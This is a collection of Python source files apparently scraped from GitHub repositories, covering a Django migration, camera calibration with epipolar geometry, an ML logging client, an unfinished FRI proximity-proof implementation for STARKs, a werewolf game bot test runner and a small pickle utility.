+{"seq_id":"29652855020","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('admin', '0005_auto_20150607_0702'),\n    ]\n\n    database_operations = [\n        migrations.AlterModelTable('Currency', 'common_currency')\n    ]\n\n    state_operations = [\n        migrations.DeleteModel('Currency')\n    ]\n\n    operations = [\n        migrations.SeparateDatabaseAndState(\n            database_operations=database_operations,\n            state_operations=state_operations)\n    ]\n","repo_name":"NobleSF/Cobra","sub_path":"apps/admin/migrations/0006_move_currency_model.py","file_name":"0006_move_currency_model.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"40938997329","text":"# encoding : utf-8\n\nimport numpy as np\nimport cv2\n\n\ndef load_points(filename):\t\t\n\twith open(filename, 'r') as file:\n\t\tpoints = file.readlines()\n\t\n\tpoints = [point.split() for point in points]\n\t\n\t# add homogeneous coord\n\tpoints =  np.matrix([[float(c) for c in p] + [1.0] for p in points]) \n\n\treturn points\n\ndef get_residual_error(pts2, pts3, m):\n\tn = pts2.shape[0]\n\t\n\tr = .0\n\tfor i in range(n):\n\t\tp3 = np.matrix(pts3[i, :]).T\n\t\tp2 = np.matrix(pts2[i, :]).T\n\n\t\tp2_proj = m * p3\n\t\tp2_proj /= p2_proj[-1]\n\t\t\n\t\tdr = np.sqrt(((p2 - p2_proj).T*(p2 - p2_proj))[0, 0])\n\t\tr += dr\n\tr /= n\n\n\treturn r\n\n\ndef compute_projection_matrix(pts_2d, pts_3d):\n\tn = pts_2d.shape[0]\n\t\n\t# construct A for M computation\n\tA = []\n\tfor pt_i in range(n):\n\t\tpt_2 = pts_2d[pt_i, :].tolist()[0]\n\t\tpt_3 = pts_3d[pt_i, :].tolist()[0]\n\t\tA.append([*[pt_3[i] for i in range(4)], *[0]*4, *[-pt_2[0] * pt_3[i] for i in range(3)], -pt_2[0]])\n\t\tA.append([*[0]*4, *[pt_3[i] for i in range(4)], *[-pt_2[1] * pt_3[i] for i in range(3)], -pt_2[1]])\n\tA = np.array(A)\n\t\n\t[U, S, V] = np.linalg.svd(A)\n\tM = V[-1, :]\n\tM = M.reshape((3, 4))\n\n\treturn M\n\n\ndef find_best_mat(m_computation_func, error_func, pts_1, pts_2, k=(8, 10, 16), nb_iter=10):\n\tpts_nb = pts_1.shape[0]\n\t\n\taverage_residual_error_matrix = np.zeros((len(k), nb_iter))\n\n\tbest_m = None\n\tbest_r = 1E9\n\n\tfor i, ki in enumerate(k):\n\t\tfor j in range(nb_iter):\n\t\t\t# choose ki pts for projection matrix computation\n\t\t\trand_idx = list(range(pts_nb))\n\t\t\tnp.random.shuffle(rand_idx)\n\t\t\t# indexes for projection matrix computaion and residual error computation\n\t\t\tcomp_id = rand_idx[:ki]\n\t\t\t# choose 4 pts for residual error computation\n\t\t\ttest_id = rand_idx[ki:ki+4]\n\t\t\n\t\t\tm_ki_j = m_computation_func(pts_1[comp_id,:], pts_2[comp_id,:])\n\t\t\tr_ki_j = error_func(pts_1[test_id,:], pts_2[test_id,:], m_ki_j)\n\t\t\t\n\t\t\taverage_residual_error_matrix[i, j] = r_ki_j\n\t\t\t\n\t\t\tif r_ki_j < best_r:\n\t\t\t\tbest_r = r_ki_j\n\t\t\t\tbest_m = m_ki_j\n\n\treturn average_residual_error_matrix, best_m\n\t\n\ndef compute_camera_center(M):\n\t[Q, m4] = np.split(M, [3], axis=1)\n\tC = - np.linalg.inv(Q) * np.matrix(m4)\n\t\n\treturn C\n\n\ndef compute_fundamental_matrix(pts2_a, pts2_b):\n\tn = pts2_a.shape[0]\n\t\t\n\t# construct A matrix for F computation\n\tA = []\n\tfor i in range(n):\n\t\tpt_ai = pts2_a[i, :]\n\t\tpt_bi = pts2_b[i, :]\n\t\tl = [pt_ai[0, k] * pt_bi[0, j] for j in range(3) for k in range(3)]\n\t\tA.append(l)\t\n\tA = np.matrix(A)\n\n\t# solving for F\n\t[_, _, V] = np.linalg.svd(A)\n\tF = V[-1, :].reshape((3, 3))\n\t\n\t# linear computation for F\n\t[U, S, V] = np.linalg.svd(F)\n\tS[-1] = 0\n\tF = U * np.diag(S) * V\n\n\treturn F\n\ndef get_fundamental_mat_error(pts_a, pts_b, f):\n\td = np.diag((pts_b * f * pts_a.T))\n\treturn np.absolute(d).sum()\n\t\ndef compute_epipolar_lines(pts2_a, pts2_b, F):\n\tlines_a = pts2_b * F.T\n\tlines_b = pts2_a * F\n\t\n\t# to normalized homogeneous coords\n\tfor i in range(pts2_a.shape[0]):\n\t\tlines_a[i] /= lines_a[i,-1]\n\t\tlines_b[i] /= lines_b[i, -1]\n\t\n\treturn lines_a, lines_b\n\t\n\ndef draw_lines(pts_a, pts_b, l_a, l_b):\n\tim_a = cv2.imread(\"input/pic_a.jpg\")\n\tim_b = cv2.imread(\"input/pic_b.jpg\")\n\t\n\t# image a\n\tx_min = 0\n\tx_max = im_a.shape[1]\n\tfor i in range(pts_b.shape[0]):\t\t\n\t\ty_min = int(pts_a[i, 1] + (x_min - pts_a[i, 0]) * (l_a[i, 0] / l_a[i, 1]))\n\t\ty_max = int(pts_a[i, 1] + (x_max - pts_a[i, 0]) * (l_a[i, 0] / l_a[i, 1]))\n\t\tcv2.line(im_a, (x_min, y_min), (x_max, y_max), (0,0,255), 1)\n\n\t# image b\n\tx_min = 0\n\tx_max = im_b.shape[1]\n\tfor i in range(pts_a.shape[0]):\t\t\n\t\ty_min = int(pts_b[i, 1] + (x_min - pts_b[i, 0]) * (l_b[i, 0] / l_b[i, 1]))\n\t\ty_max = int(pts_b[i, 1] + (x_max - pts_b[i, 0]) * (l_b[i, 0] / l_b[i, 1]))\n\t\tcv2.line(im_b, (x_min, y_min), (x_max, y_max), (0,0,255), 1)\n\n\tcv2.imshow(\"image a\", im_a)\n\tcv2.imshow(\"image b\", im_b)\n\tcv2.waitKey(0)\n\n\ndef normalize_points(pts):\n\tn = pts.shape[0]\n\n\tcu = pts[:, 0].mean()\n\tcv = pts[:, 1].mean()\n\n\tdc = np.matrix([[cu, cv, 0.0]] * n)\n\ts = 1 / np.absolute(pts - dc).max();\n\n\tT = np.matrix([[s, 0, -s*cu], [0, s, -s*cv], [0, 0, 1]])\n\tnorm_pts = pts * T.T\n\n\treturn norm_pts, T\n\n\n\nif __name__ == \"__main__\":\n\n\t#########################################\n\t#\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\tPROJECTION MATRIX\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t#\n\t#########################################\n\n\t# load 3D points (real scene) and 2D points (picture A)\n\tpts_2d = load_points(\"input/pts2d-norm-pic_a.txt\")\n\tpts_3d = load_points(\"input/pts3d-norm.txt\")\n\n\t# find best projection matrix M_norm_A\n\t[_, M_norm_A] = find_best_mat(compute_projection_matrix, get_residual_error, pts_2d, pts_3d)\n\t\n\t# compute camera center\n\tcam_center = compute_camera_center(M_norm_A)\n\n\t# get error\n\terr_M = get_residual_error(pts_2d, pts_3d, M_norm_A)\n\tprint(\"projection matrix error : \", err_M)\n\n\n\t#########################################\n\t#\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\tFUNDAMENTAL MATRIX\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t#\n\t#########################################\n\n\t# loads 2D points from picture A and B \n\tpts_2d_a = load_points(\"input/pts2d-pic_a.txt\")\n\tpts_2d_b = load_points(\"input/pts2d-pic_b.txt\")\n\n\t# normalize 2D points between [-1, 1] * [-1, 1]\n\tpts_norm_a, Ta = normalize_points(pts_2d_a)\n\tpts_norm_b, Tb = normalize_points(pts_2d_b)\n\t\n\t# find best fundamental matrix \n\t[_, F] = find_best_mat(compute_fundamental_matrix, get_fundamental_mat_error, pts_norm_a, pts_norm_b)\n\t# process F for real points (not normalized in [-1, -1]*[-1, -1])\n\tF = Tb.T * F * Ta\n\n\t# get error\n\terr_F = get_fundamental_mat_error(pts_2d_a, pts_2d_b, F)\n\tprint(\"fundamental matrix error : \", err_F)\n\n\t# draw epipolar lines on pictures\n\t[lines_a, lines_b] = compute_epipolar_lines(pts_2d_a, pts_2d_b, F)\n\tdraw_lines(pts_2d_a, pts_2d_b, lines_a, lines_b)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MiguelReuter/camera_calibration","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31124683058","text":"import os\nfrom concurrent.futures import ThreadPoolExecutor\nfrom requests_futures.sessions import FuturesSession\nfrom ml_logger.serdes import serialize, deserialize\nfrom ml_logger.server import LogEntry, LoadEntry, PingData, LoggingServer, ALLOWED_TYPES, Signal, LogOptions, \\\n    RemoveEntry\n\n\nclass LogClient:\n    local_server = None\n\n    def __init__(self, url: str = None, max_workers=None):\n        if url.startswith(\"file://\"):\n            self.local_server = LoggingServer(data_dir=url[6:])\n        elif os.path.isabs(url):\n            self.local_server = LoggingServer(data_dir=url)\n        elif url.startswith('http://'):\n            self.url = url\n            self.ping_url = os.path.join(url, \"ping\")\n        else:\n            # todo: add https://, and s3://\n            raise TypeError('log url need to begin with `/`, `file://` or `http://`.')\n        if max_workers:\n            self.session = FuturesSession(ThreadPoolExecutor(max_workers=max_workers))\n        else:\n            self.session = FuturesSession()\n\n    def _get(self, key, dtype):\n        if self.local_server:\n            return self.local_server.load(key, dtype)\n        else:\n            json = LoadEntry(key, dtype)._asdict()\n            # note: reading stuff from the server is always synchronous via the result call.\n            res = self.session.get(self.url, json=json).result()\n            result = deserialize(res.text)\n            return result\n\n    def _post(self, key, data, dtype, options: LogOptions = None):\n        if self.local_server:\n            self.local_server.log(key, data, dtype, options)\n        else:\n            # todo: make the json serialization more robust. Not priority b/c this' client-side.\n            json = LogEntry(key, serialize(data), dtype, options)._asdict()\n            self.session.post(self.url, json=json)\n\n    def _delete(self, key):\n        if self.local_server:\n            self.local_server.remove(key)\n        else:\n            # todo: make the json serialization more robust. Not priority b/c this' client-side.\n            json = RemoveEntry(key)._asdict()\n            self.session.delete(self.url, json=json)\n\n    def ping(self, exp_key, status, _duplex=True, burn=True):\n        # todo: add configuration for early termination\n        if self.local_server:\n            signals = self.local_server.ping(exp_key, status)\n            return deserialize(signals) if _duplex else None\n        else:\n            # todo: make the json serialization more robust. Not priority b/c this' client-side.\n            ping_data = PingData(exp_key, status, burn=burn)._asdict()\n            req = self.session.post(self.ping_url, json=ping_data)\n            if _duplex:\n                response = req.result()\n                # note: I wonder if we should raise if the response is non-ok.\n                return deserialize(response.text) if response.ok else None\n\n    # send signals to the worker\n    def send_signal(self, exp_key, signal=None):\n        options = LogOptions(overwrite=True)\n        channel = os.path.join(exp_key, \"__signal.pkl\")\n        self._post(channel, signal, dtype=\"log\", options=options)\n\n    # Reads binary data\n    def read(self, key):\n        return self._get(key, dtype=\"read\")\n\n    # Reads binary data\n    def read_pkl(self, key):\n        return self._get(key, dtype=\"read_pkl\")\n\n    def read_np(self, key):\n        return self._get(key, dtype=\"read_np\")\n\n    # appends data\n    def log(self, key, data, **options):\n        self._post(key, data, dtype=\"log\", options=LogOptions(**options))\n\n    # appends text\n    def log_text(self, key, text):\n        self._post(key, text, dtype=\"text\")\n\n    # sends out images\n    def send_image(self, key, data):\n        assert data.dtype in ALLOWED_TYPES, \"image data must be one of {}\".format(ALLOWED_TYPES)\n        self._post(key, data, dtype=\"image\")\n\n    # appends text\n    def log_buffer(self, key, buf):\n        self._post(key, buf, dtype=\"byte\")\n","repo_name":"young-geng/ml_logger","sub_path":"ml_logger/log_client.py","file_name":"log_client.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"13128779335","text":"import math\nimport hashlib\nfrom random import seed\nfrom random import randint\nfrom typing import List\nfrom starks.merkle_tree import merkelize\nfrom starks.merkle_tree import mk_branch\nfrom starks.merkle_tree import verify_branch\nfrom starks.utils import get_power_cycle\nfrom starks.utils import get_pseudorandom_indices\nfrom starks.poly_utils import lagrange_interp\nfrom starks.poly_utils import multi_interp_4\nfrom starks.poly_utils import construct_affine_vanishing_polynomial\nfrom starks.numbertype import FieldElement\nfrom starks.numbertype import Field\nfrom starks.numbertype import Poly\nfrom starks.fft import NonBinaryFFT\nfrom starks.reedsolomon import AffineSpace\nfrom starks.polynomial import polynomials_over\nfrom starks.modp import IntegersModP\n\n# TODO: This is a placeholder\ndef select_random(field: Field, x) -> FieldElement:\n  result = hashlib.sha384(x.encode()).hexdigest()\n  num = HextoBin(str(result))\n  polysOver = polynomials_over(IntegersModP(field.p))\n  return field(polysOver(num))\n\ndef HextoBin(Hexnum):\n  num = int(Hexnum, 16)\n  bStr = '' \n  while num > 0: \n    bStr = str(num % 2) + bStr \n    num = num >> 1    \n  l_num = []\n  for i in range(len(bStr)):\n    l_num.append(bStr[i])\n  return l_num\n\ndef select_subspace(space: AffineSpace, eta) -> AffineSpace:\n  field = space.field\n  basis = space.basis\n  sub_basis = basis[0:eta]\n  return AffineSpace(field, sub_basis)\n\ndef eval_on_subspace(q: Poly, space: AffineSpace) -> AffineSpace:\n  # TODO(rbharath): Does this work as advertised?\n  eval_elts = []\n  for elt in space:\n    eval_elts.append(q(elt))\n  # we have this error when we use set instead of list\n  #eval_elts = set([q(elt) for elt in space])\n  return eval_elts\n\nclass AffineSubspaceFRI(object):\n  \"\"\"Implements Fast Reed Solomon IOPP for affine spaces.\"\"\"\n  def __init__(self, field, affine_space, rho):\n    self.field = field\n    self.affine_space = affine_space\n    self.rho = rho\n\n  def commit(self, f, security_factor:int = 40) -> List[bytes]:\n    # rate parameter\n    R = -math.log(self.rho, 2)\n    # localization parameter\n    eta = 2 # Perhaps an option to set in the constructor\n    k_0 = math.log(len(self.affine_space), 2)\n    # round complexity\n    r = int(math.floor((k_0 - R)/eta))\n    L_i = self.affine_space # L_0 is the affine space\n    L_i_0 = select_subspace(L_i, eta) # its dimention should be eta\n    # a purported codeword of RS^(i)\n    f_i = f\n    for i in range(r):\n      # This should be picked using a hash of some common data to apply the fiat-shamir heuristic\n      x = str(R + eta + r + k_0 + i)\n      x_i = select_random(self.field, x)\n      # Convention: L^i_0 is the space generated by the first eta basis\n      q_i = construct_affine_vanishing_polynomial(self.field, L_i_0)\n      L_i_plus_1 = eval_on_subspace(q_i, L_i)\n      if i < r-1:\n        # define empty function\n        f_i_plus_1 = {}\n        # defining coset for each element of L_i_plus_1\n        for y in L_i_plus_1:\n          coset = [y + l_i for l_i in L_i_0]\n          coset_eval = [f_i(x_c) for x_c in coset]\n          interp = lagrange_interp(self.field, coset, coset_eval)\n          f_i_plus_1 = interp(x_i)\n        \n        f_i = lambda z: f_i_plus_1[z]\n        L_i = L_i_plus_1\n        L_i_0 = select_subspace(L_i, eta)\n      else:\n        f_r = f_i\n        L_r = L_i\n        vals = [f_r(val) for val in L_r]\n        x_vals = [val for val in L_r]\n        interp = lagrange_interp(self.field, x_vals, vals)\n        d = self.rho * len(L_r) - 1\n        return interp.coefficients[:d+1]\n\n  def query(self, f, coeff):\n    seed(1)\n    # rate parameter\n    R = -math.log(self.rho, 2)\n    # localization parameter\n    eta = 2 # Perhaps an option to set in the constructor\n    k_0 = math.log(len(self.affine_space), 2)\n    r = int(math.floor((k_0 - R)/eta))\n    # verifier can compute sequences of L and L_0\n    L = []\n    L.append(self.affine_space)\n    L_0 = []\n    L_0.append(select_subspace(L[-1], eta))\n    q = []\n    for i in range(r-1):\n      q.append(construct_affine_vanishing_polynomial(self.field, L_0[-1]))\n      L.append(eval_on_subspace(q[-1], L[-1]))\n      L_0.append(select_subspace(L[-1], eta))\n    q.append(construct_affine_vanishing_polynomial(self.field, L_0[-1]))\n\n    # compute tha last f based on the proof\n    polysOver = polynomials_over(self.field).factory\n    P_prime = polysOver(coeff)\n    L_r = eval_on_subspace(q[-1], L[-1])\n    x_ply = [val for val in L_r]\n    y_ply = [P_prime(val) for val in x_ply]\n    f.append(lagrange_interp(self.field, x_ply, y_ply))\n\n    # a sequence of x can be computed as well\n    x = []\n    for i in range(r):\n      x_str = str(R)+str(eta)+str(r)+str(k_0)+str(L[i])+str(L_0[i])\n      x.append(select_random(self.field, x_str))\n\n    # we need to assign l, it can be a function of the security parameter\n    l = 2\n\n    for j in range(l):\n      # randomly select a ellement of L[0]\n      random_n = randint(0, len(L[0]))\n      #constructing s\n      s_i = []\n      count = 1\n      for elm in L[0]:\n      \tif count == random_n:\n      \t\ts_i.append(elm)\n      \tcount += 1\n      for i in range(r):\n        s_i.append(q[i](s_i[-1]))\n      S_i = []\n      for i in range(r):\n        temp_coset = [s_i[i] + l_i for l_i in L_0[i]]\n        S_i.append(temp_coset)\n      \n      # for all S_is, compute P\n      P = []\n      for i in range(r):\n        coset_eval = [f[i](x_c) for x_c in S_i[i]]\n        P.append(lagrange_interp(self.field, S_i[i], coset_eval))\n\n      for i in range(r):\n        #if f[i+1](s_i[i+1]) == f[i+1](s_i[i+1]): #is not P[i](temp):\n        if f[i+1](s_i[i+1]) == P[i](x[i]):\n          return False\n    return True\n\n  def verify_proximity_proof(self,\n                             proof: List[bytes],\n                             merkle_root: bytes,\n                             S: AffineSpace,\n                             security_factor:int = 40) -> bool:\n    raise NotImplementedError\n\n#class SmoothSubgroupFRI(object):\n#  \"\"\"Implements Fast Reed Solomon Interactive Oracle Protocol\n#\n#  This class implements the FRI for a smooth multiplicative\n#  subgroup of a finite field. Recall that such a subgroup is\n#  of size 2^n and is a subgroup of the cyclic group of nonzero\n#  elements of the finite field.\n#\n#  # TODO(rbharath): Swap this to work with a FourierPolynomial instead of a regular polynomial. Will be more efficient.\n#  \"\"\"\n#  def __init__(self, field):\n#    self.field = field\n#\n#  def generate_proximity_proof(self,\n#                               f: Poly,\n#                               root_of_unity: FieldElement,\n#                               maxdeg_plus_1: int,\n#                               exclude_multiples_of:int = 0,\n#                               fri_spot_check_security_factor:int = 40) -> List[bytes]:\n#    \"\"\"\n#    Generate an FRI proof that the polynomial that has the\n#    specified values at successive powers of the specified root\n#    of unity has a degree lower than maxdeg_plus_1\n#\n#    We use maxdeg+1 instead of maxdeg because it's more\n#    mathematically convenient in this case.\n#\n#    Note that if values is a n-degree polynomial, root_of_unity\n#    should be a n-th root of unity.\n#    \"\"\"\n#    print(\"Generating proof. Degree %d\" % maxdeg_plus_1)\n#    fft_solver = NonBinaryFFT(self.field, root_of_unity)\n#    values = fft_solver.fft(f)\n#    # If the degree we are checking for is less than or equal\n#    # to 32, use the polynomial directly as a proof\n#    # TODO(rbharath): Why does this make sense?\n#    if maxdeg_plus_1 <= 16:\n#      print('Produced FRI proof')\n#      return [[x.to_bytes() for x in values]]\n#\n#    # Calculate the set of x coordinates\n#    xs = get_power_cycle(root_of_unity, self.field)\n#\n#    assert len(values) == len(xs)\n#\n#    # Put the values into a Merkle tree. This is the root that\n#    # the proof will be checked against. Note this is a list of\n#    # length 2*len(values) storing the complete merkle tree.\n#    m = merkelize(values)\n#\n#    # Select a pseudo-random x coordinate\n#    # This is the merkle-root of the polynomial.\n#    #special_x = int.from_bytes(m[1], 'big') % modulus\n#    special_x = self.field(m[1])\n#\n#    # Calculate the \"column\" at that x coordinate (see\n#    # https://vitalik.ca/general/2017/11/22/starks_part_2.html)\n#    # We calculate the column by Lagrange-interpolating each\n#    # row, and not directly from the polynomial, as this is more\n#    # efficient\n#    quarter_len = len(xs) // 4\n#    x_polys = multi_interp_4(self.field,\n#        [[xs[i + quarter_len * j] for j in range(4)] for i in range(quarter_len)],\n#        [[values[i + quarter_len * j]\n#          for j in range(4)]\n#        for i in range(quarter_len)])\n#    column = [p(special_x) for p in x_polys]\n#    m2 = merkelize(column)\n#\n#    # Pseudo-randomly select y indices to sample\n#    ys = get_pseudorandom_indices(\n#        m2[1], len(column), fri_spot_check_security_factor, exclude_multiples_of=exclude_multiples_of)\n#\n#    # Compute the Merkle branches for the values in the\n#    # polynomial and the column\n#    branches = []\n#    for y in ys:\n#      branches.append([mk_branch(m2, y)] +\n#                      [mk_branch(m, y + (len(xs) // 4) * j) for j in range(4)])\n#\n#    o = [m2[1], branches]\n#\n#    # Recurse...\n#    # Swapping the root of unity to get new polynomial\n#    fft_solver = NonBinaryFFT(self.field, root_of_unity**4)\n#    column_poly = fft_solver.inv_fft(column)\n#    return [o] + self.generate_proximity_proof(\n#        column_poly,\n#        root_of_unity**4,\n#        maxdeg_plus_1 // 4,\n#        exclude_multiples_of=exclude_multiples_of)\n#\n#  def verify_proximity_proof(self,\n#                             proof: List[bytes],\n#                             merkle_root: bytes,\n#                             root_of_unity: FieldElement,\n#                             maxdeg_plus_1: int,\n#                             exclude_multiples_of:int = 0,\n#                             fri_spot_check_security_factor:int = 40) -> bool:\n#    \"\"\"Verifies proximity of this function to this RS code.\"\"\"\n#    # Calculate which root of unity we're working with\n#    testval = root_of_unity\n#    # roudeg is the power of the root of unity\n#    roudeg = 1\n#    while testval != 1:\n#      roudeg *= 2\n#      testval = (testval * testval)\n#\n#    # Powers of the given root of unity 1, p, p**2, p**3 such that p**4 = 1\n#    quartic_roots_of_unity = [\n#        1,\n#        root_of_unity**(roudeg // 4),\n#        root_of_unity**(roudeg // 2),\n#        root_of_unity**(roudeg * 3 // 4)\n#    ]\n#\n#    # Verify the recursive components of the proof\n#    for prf in proof[:-1]:\n#      root2, branches = prf\n#      print('Verifying degree <= %d' % maxdeg_plus_1)\n#\n#      # Calculate the pseudo-random x coordinate\n#      special_x = self.field(merkle_root)\n#\n#      # Calculate the pseudo-randomly sampled y indices\n#      ys = get_pseudorandom_indices(\n#          root2, roudeg // 4, fri_spot_check_security_factor, exclude_multiples_of=exclude_multiples_of)\n#\n#      # For each y coordinate, get the x coordinates on the row,\n#      # the values on the row, and the value at that y from the\n#      # column\n#      xcoords = []\n#      rows = []\n#      columnvals = []\n#      for i, y in enumerate(ys):\n#        # The x coordinates from the polynomial\n#        x1 = root_of_unity**y\n#        xcoords.append(\n#            [(quartic_roots_of_unity[j] * x1) for j in range(4)])\n#\n#        # The values from the original polynomial\n#        row = [\n#            verify_branch(\n#                merkle_root, y + (roudeg // 4) * j, prf, output_as_int=True)\n#            for j, prf in zip(range(4), branches[i][1:])\n#        ]\n#        rows.append(row)\n#\n#        columnvals.append(\n#            verify_branch(root2, y, branches[i][0], output_as_int=True))\n#\n#      # Verify for each selected y coordinate that the four\n#      # points from the polynomial and the one point from the\n#      # column that are on that y coordinate are on the same deg\n#      # < 4 polynomial\n#      polys = multi_interp_4(self.field, xcoords, rows)\n#\n#      for p, c in zip(polys, columnvals):\n#        assert p(special_x) == c\n#\n#      # Update constants to check the next proof\n#      merkle_root = root2\n#      root_of_unity = root_of_unity**4\n#      maxdeg_plus_1 //= 4\n#      roudeg //= 4\n#\n#    # Verify the direct components of the proof\n#    data = [int.from_bytes(x, 'big') for x in proof[-1]]\n#    print('Verifying degree <= %d' % maxdeg_plus_1)\n#    assert maxdeg_plus_1 <= 16\n#\n#    # Check the Merkle root matches up\n#    mtree = merkelize(data)\n#    assert mtree[1] == merkle_root\n#\n#    # Check the degree of the data\n#    #powers = get_power_cycle(root_of_unity, modulus)\n#    powers = get_power_cycle(root_of_unity, self.field)\n#    if exclude_multiples_of:\n#      pts = [x for x in range(len(data)) if x % exclude_multiples_of]\n#    else:\n#      pts = range(len(data))\n#\n#    poly = lagrange_interp(self.field,\n#            [powers[x] for x in pts[:maxdeg_plus_1]],\n#            [data[x] for x in pts[:maxdeg_plus_1]])\n#    for x in pts[maxdeg_plus_1:]:\n#      assert poly(powers[x]) == data[x]\n#\n#    print('FRI proof verified')\n#    return True\n","repo_name":"computablelabs/starks","sub_path":"starks/fri.py","file_name":"fri.py","file_ext":"py","file_size_in_byte":13114,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"73794176374","text":"import time\nimport asyncio\nimport os\n\nimport interface\nfrom game import *\n\n\ndef assert_time_print(filepath, game, playersname):\n    print(\"\\n\\n\\n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\")\n    print(f\"Failed at test case {filepath}\\n\")\n    print(f\"Test assert Error at {'#day' if {game.game_phase} else '#night'}{game.day}\")\n    p = [player.player_id for player in game.players.values() if player.is_alive()]\n    print(f\"Current alive player: {list(map(lambda x: playersname[x], p))}\")\n    print(f\"Winner: {game.get_winner()}\")\n    print(\"\\n\\n\\n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\n\n\ndef check_alive_players(game, alive_list, playersname):\n    p = [player.player_id for player in game.players.values() if player.is_alive()]\n    # print(\"++++++++++++++++++++\\nids: \", p, alive_list)\n    print(\n        f\"\\nAlive user list:\\n game:     {list(map(lambda x: playersname[x], p))}\\n expected: { list(map(lambda x: playersname[x], alive_list))}\")\n    return set(p) == set(alive_list)\n\n\ndef check_game_end(game, win):\n    if not win:  # If test case does not define \"win\", then it must end.\n        return game.get_winner() is not None\n    else:\n        return game.get_winner() == win\n\n\ndef assign_roles(interface, ids, names_dict, game_role):\n    return {id_: roles.get_role_type(role_name)(interface, id_, names_dict[id_]) for id_, role_name in zip(ids, game_role)}\n\n\nasync def test_case(game, filepath):\n    test_case_data = None\n    with open(filepath, \"r\") as fi:\n        test_case_data = json.load(fi)\n\n    try:\n        assert test_case_data is not None\n        print(\"\\n\\n\\n\"+\"$\"*150)\n        print(f\"====== Begin test case at {filepath} =====\")\n        print(f\"Test case: {test_case_data['name']}\")\n        DELAY_TIME = 0.03  # MUST greater than 0\n        game.timer_enable = False  # MUST have\n\n        player_name_dict = test_case_data[\"player_list\"]  # username: Role\n        playersname = {}  # id: username\n        game_role = []  # [\"Werewolf\", \"Seer\",\"Villager\",\"Villager\",]\n        for player_id, player_name in enumerate(player_name_dict, 1):\n            playersname[player_id] = player_name  # Offset by 1 to prevent player id = 0\n            game_role.append(player_name_dict[player_name])\n\n        # Revert name -> ID map for reference\n        id_map = {v: k for k, v in playersname.items()}  # username: id\n\n        players = assign_roles(game.interface, list(playersname.keys()), playersname, game_role)\n        await game.start(players)\n\n        timeline_action_list = test_case_data[\"timeline\"]\n        for timeline_idx, action_data in enumerate(timeline_action_list):\n            await asyncio.sleep(DELAY_TIME)\n\n            assert check_alive_players(game, list(map(lambda x: id_map[x], action_data[\"alive\"])), playersname)\n            for action_str in action_data[\"action\"]:\n                author_name, command = action_str.split()[:2]\n                target_name = action_str.split()[2:]\n                text = await game.do_player_action(command, id_map[author_name], *[id_map[i] for i in target_name])\n                print(text)\n            await asyncio.sleep(DELAY_TIME)\n            await game.next_phase()\n\n        await asyncio.sleep(DELAY_TIME)\n\n        assert check_game_end(game, test_case_data.get(\"win\"))\n        if test_case_data.get(\"win\") != \"None\":\n            await game.task_game_loop\n        else:\n            await asyncio.sleep(DELAY_TIME)\n        await game.stop()\n        print(\"====== End test case =====\")\n    except AssertionError as e:\n        assert_time_print(filepath, game, playersname)\n        raise\n    except Exception as e:\n        print(e)\n        raise\n\n\nasync def test_game():\n    game = Game(None, interface.ConsoleInterface(None))\n\n    # Run single test\n\n    await test_case(game, \"testcases/case-witch-reborn-wolf.json\")\n\n    # Run all tests\n    directory = \"testcases\"\n    for filename in os.listdir(directory):\n        if filename.endswith(\".json\"):\n            path = os.path.join(directory, filename)\n            await test_case(game, path)\n        else:\n            continue\n\n\nasync def main():\n    task = asyncio.create_task(test_game())\n    done, pending = await asyncio.wait({task})\n\n    if task in done:\n        print(\"DONE\")\n\n\nif __name__ == \"__main__\":\n    asyncio.run(test_game())\n    print(\"\\n\\nFINISH ALL TEST CASES SUCCESSFULLY\")\n","repo_name":"dnh-bot/dnh-werewolf-bot","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
+{"seq_id":"23277229362","text":"import pickle\n\ndef load_matrix_pickle(filename):\n\n    with open(filename, 'rU') as handle:\n        file = pickle.load(handle)\n    return file\n\n\ndef get_coordinate_points(occurance):\n\n    xs = map(lambda line: int(float(line.split(' ')[2])),occurance)\n    ys = map(lambda line: int(float(line.split(' ')[3])),occurance)\n    ids =map(lambda line: str(line.split(' ')[0]),occurance)\n\n\n    return xs,ys,ids","repo_name":"dariodotti/ATLib","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
